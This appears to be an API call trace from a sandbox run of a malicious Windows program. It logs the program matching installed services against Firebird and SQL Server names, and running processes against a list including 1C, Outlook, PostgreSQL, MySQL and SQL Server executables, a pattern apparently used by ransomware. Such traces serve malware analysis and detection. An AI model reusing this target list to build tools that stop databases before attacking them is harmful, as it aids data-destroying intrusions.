	[0167.927] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0167.927] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0167.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0167.927] lstrlenW (lpString="BFE") returned 3
	[0167.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0167.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0167.927] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0167.927] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0167.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0167.927] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0167.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0167.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0167.927] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0167.927] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0167.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0167.927] lstrlenW (lpString="CDPSvc") returned 6
	[0167.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0167.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0167.928] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0167.928] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0167.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0167.928] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0167.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0167.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0167.928] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0167.928] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0167.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0167.928] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0167.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0167.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0167.928] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0167.928] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0167.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0167.929] lstrlenW (lpString="CryptSvc") returned 8
	[0167.929] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0167.929] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0167.929] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0167.929] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0167.929] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0167.929] lstrlenW (lpString="DcomLaunch") returned 10
	[0167.929] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0167.929] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0167.929] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0167.929] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0167.929] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0167.929] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0167.929] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0167.929] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0167.930] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0167.930] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0167.930] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0167.930] lstrlenW (lpString="Dhcp") returned 4
	[0167.930] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0167.930] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0167.985] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0167.985] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0167.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0167.985] lstrlenW (lpString="Dnscache") returned 8
	[0167.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0167.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0167.985] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0167.985] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0167.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0167.985] lstrlenW (lpString="DPS") returned 3
	[0167.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0167.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0167.985] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0167.985] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0167.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0167.985] lstrlenW (lpString="DusmSvc") returned 7
	[0167.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0167.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0167.985] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0167.985] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0167.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0167.986] lstrlenW (lpString="EventLog") returned 8
	[0167.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0167.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0167.986] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0167.986] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0167.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0167.986] lstrlenW (lpString="EventSystem") returned 11
	[0167.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0167.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0167.986] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0167.986] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0167.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0167.986] lstrlenW (lpString="FontCache") returned 9
	[0167.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0167.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0167.986] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0167.986] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0167.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0168.017] lstrlenW (lpString="gpsvc") returned 5
	[0168.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0168.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0168.018] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0168.018] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0168.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0168.018] lstrlenW (lpString="iphlpsvc") returned 8
	[0168.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0168.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0168.018] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0168.018] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0168.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0168.018] lstrlenW (lpString="KeyIso") returned 6
	[0168.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0168.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0168.018] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0168.018] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0168.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0168.019] lstrlenW (lpString="LanmanServer") returned 12
	[0168.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0168.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0168.019] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0168.019] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0168.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0168.019] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0168.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0168.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0168.019] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0168.019] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0168.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0168.060] lstrlenW (lpString="lfsvc") returned 5
	[0168.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0168.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0168.060] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0168.060] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0168.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0168.060] lstrlenW (lpString="lmhosts") returned 7
	[0168.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0168.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0168.060] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0168.060] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0168.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0168.061] lstrlenW (lpString="LSM") returned 3
	[0168.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0168.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0168.061] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0168.061] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0168.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0168.061] lstrlenW (lpString="MpsSvc") returned 6
	[0168.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0168.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0168.061] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0168.061] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0168.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0168.061] lstrlenW (lpString="NcbService") returned 10
	[0168.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0168.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0168.061] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0168.062] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0168.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0168.062] lstrlenW (lpString="netprofm") returned 8
	[0168.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0168.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0168.062] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0168.062] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0168.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0168.062] lstrlenW (lpString="NgcSvc") returned 6
	[0168.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0168.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0168.062] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0168.062] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0168.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0168.062] lstrlenW (lpString="NlaSvc") returned 6
	[0168.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0168.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0168.063] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0168.063] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0168.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0168.063] lstrlenW (lpString="nsi") returned 3
	[0168.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0168.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0168.063] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0168.063] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0168.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0168.063] lstrlenW (lpString="PcaSvc") returned 6
	[0168.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0168.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0168.063] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0168.063] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0168.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0168.063] lstrlenW (lpString="PlugPlay") returned 8
	[0168.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0168.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0168.063] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0168.063] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0168.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0168.064] lstrlenW (lpString="Power") returned 5
	[0168.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0168.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0168.064] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0168.064] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0168.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0168.064] lstrlenW (lpString="ProfSvc") returned 7
	[0168.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0168.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0168.064] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0168.064] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0168.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0168.064] lstrlenW (lpString="RpcEptMapper") returned 12
	[0168.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0168.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0168.064] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0168.064] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0168.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0168.064] lstrlenW (lpString="RpcSs") returned 5
	[0168.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0168.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0168.064] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0168.064] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0168.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0168.065] lstrlenW (lpString="SamSs") returned 5
	[0168.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0168.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0168.065] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0168.065] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0168.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0168.065] lstrlenW (lpString="Schedule") returned 8
	[0168.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0168.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0168.065] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0168.065] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0168.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0168.065] lstrlenW (lpString="SecurityHealthService") returned 21
	[0168.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0168.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0168.065] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0168.065] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0168.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0168.065] lstrlenW (lpString="SENS") returned 4
	[0168.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0168.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0168.066] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0168.066] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0168.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0168.066] lstrlenW (lpString="ShellHWDetection") returned 16
	[0168.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0168.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0168.066] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0168.066] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0168.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0168.066] lstrlenW (lpString="Spooler") returned 7
	[0168.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0168.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0168.066] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0168.066] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0168.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0168.066] lstrlenW (lpString="StateRepository") returned 15
	[0168.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0168.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0168.066] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0168.066] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0168.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0168.066] lstrlenW (lpString="SysMain") returned 7
	[0168.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0168.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0168.067] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0168.067] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0168.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0168.067] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0168.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0168.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0168.067] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0168.067] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0168.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0168.067] lstrlenW (lpString="Themes") returned 6
	[0168.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0168.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0168.067] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0168.067] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0168.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0168.067] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0168.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0168.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0168.067] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0168.067] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0168.068] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46f23f8 | out: hHeap=0x4f0000) returned 1
	[0168.068] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x350
	[0168.075] Process32FirstW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0168.076] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0168.077] lstrlenW (lpString="System") returned 6
	[0168.077] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0168.078] lstrlenW (lpString="smss.exe") returned 8
	[0168.079] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0168.080] lstrlenW (lpString="csrss.exe") returned 9
	[0168.080] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0168.081] lstrlenW (lpString="wininit.exe") returned 11
	[0168.081] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0168.082] lstrlenW (lpString="csrss.exe") returned 9
	[0168.082] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0168.083] lstrlenW (lpString="winlogon.exe") returned 12
	[0168.083] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1
	[0168.083] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1
	[0168.083] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1
	[0168.083] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1
	[0168.083] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1
	[0168.083] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1
	[0168.083] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1
	[0168.083] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0168.085] lstrlenW (lpString="services.exe") returned 12
	[0168.085] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1
	[0168.085] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1
	[0168.085] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1
	[0168.085] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1
	[0168.085] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1
